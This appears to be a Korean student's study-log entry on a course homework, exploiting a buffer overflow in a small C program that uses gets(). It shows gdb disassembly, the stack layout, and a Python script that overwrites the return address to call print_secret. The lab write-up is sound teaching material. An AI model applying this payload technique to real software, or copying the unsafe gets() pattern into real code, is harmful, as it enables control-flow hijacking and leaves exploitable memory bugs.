23.05.19.
Today I learned
- 컴시개
컴퓨터시스템개론
Buffer Overflow Exploitation
오버플로우를 발생시켜 반환주소 변환시키기
//myecho
#include <stdio.h>
void print_secret(void);
void echo(void) {
char buf[24];
puts("Input your message:");
gets(buf);
puts(buf);
}
int main(void) {
echo();
return 0;
}
//exe.py
import os, sys
parent_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
sys.path.append(parent_dir)
from helper import Program
def exploit():
prog = Program("./myecho")
print(prog.read_line()) # Read the output of the program
prog.send_line("A"*40+"\x86\x06\x40") # Send input to the program
print(prog.read_line())
print(prog.read_line())
if __name__ == "__main__":
exploit()
exe.py를 실행시켜 bufferoverflow를 발생시켜 secret.txt파일을 실행시켜보자.
cse20201593@cspro:~/assembly/hw2/2-1$ gdb -q myecho
Reading symbols from myecho...(no debugging symbols found)...done.
(gdb) disas echo
Dump of assembler code for function echo:
0x00000000004006f3 <+0>: sub $0x28,%rsp
0x00000000004006f7 <+4>: mov $0x4007e8,%edi
0x00000000004006fc <+9>: callq 0x400510 <puts@plt>
0x0000000000400701 <+14>: mov %rsp,%rdi
0x0000000000400704 <+17>: mov $0x0,%eax
0x0000000000400709 <+22>: callq 0x400550 <gets@plt>
0x000000000040070e <+27>: mov %rsp,%rdi
0x0000000000400711 <+30>: callq 0x400510 <puts@plt>
0x0000000000400716 <+35>: add $0x28,%rsp
0x000000000040071a <+39>: retq
End of assembler dump.
gdb를 실행시켜 echo파일을 디셈블 해본다.
(gdb) x/1s 0x4007e8
0x4007e8: "Input your message:"
puts
는 $0x4007e8 레지스터에 저장되어있는 string배열을 받아 출력한다.
overflow를 발생시켜 반환주소를 변경하기위해 gets
를 탐색한다.
(gdb) b * 0x400709
Breakpoint 1 at 0x400709
(gdb) r
Starting program: /sogang/under/cse20201593/assembly/hw2/2-1/myecho
Input your message:
Breakpoint 1, 0x0000000000400709 in echo ()
(gdb) x/8xg $rsp
0x7fffffffe410: 0x0000000000000000 0x0000000000000000
0x7fffffffe420: 0x0000000000400730 0x0000000000400590
0x7fffffffe430: 0x00007fffffffe520 0x0000000000400724
0x7fffffffe440: 0x0000000000000000 0x00007ffff7a2d840
gets
함수가 실행될때 breakpoint를 걸고, 이때 rsp레지스터를 열어본다.
0x00000000004006f3 <+0>: sub $0x28,%rsp
로부터 40바이트 떨어진 곳에 0x400724인 반환주소가 위치한걸 알 수 있다.
이 주소는 어디를 가리킬까?
(gdb) disas main
Dump of assembler code for function main:
0x000000000040071b <+0>: sub $0x8,%rsp
0x000000000040071f <+4>: callq 0x4006f3 <echo>
0x0000000000400724 <+9>: mov $0x0,%eax
0x0000000000400729 <+14>: add $0x8,%rsp
0x000000000040072d <+18>: retq
End of assembler dump.
main함수에서 echo함수를 호출하고 저장한 returnaddress임을 알 수 있다.
우리는 이 주소를 print_secret()
의 주소로 바꿀 수 있다면, secret.txt를 호출할 수 있다.
print_secret()
의 주소를 찾아보면
(gdb) disas print_secret
Dump of assembler code for function print_secret:
0x0000000000400686 <+0>: sub $0x58,%rsp
로 0x400686임을 알수있다.
gets
는 $rsp레지스터를 인자로 받으므로, 40바이트 더미값을 집어넣고 이후 print_secret
의 주소를 써 넣으면 echo는 실행 후 main함수로 돌아오지 않고 print_secret
을 호출한다.
def exploit():
prog = Program("./myecho")
print(prog.read_line()) # Read the output of the program
prog.send_line("A"*40+"\x86\x06\x40") # Send input to the program
print(prog.read_line())
print(prog.read_line())
출력결과
cse20201593@cspro:~/assembly/hw2/2-1$ ./exploit-myecho.py
Input your message:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@
The secret string is {8712f8ef}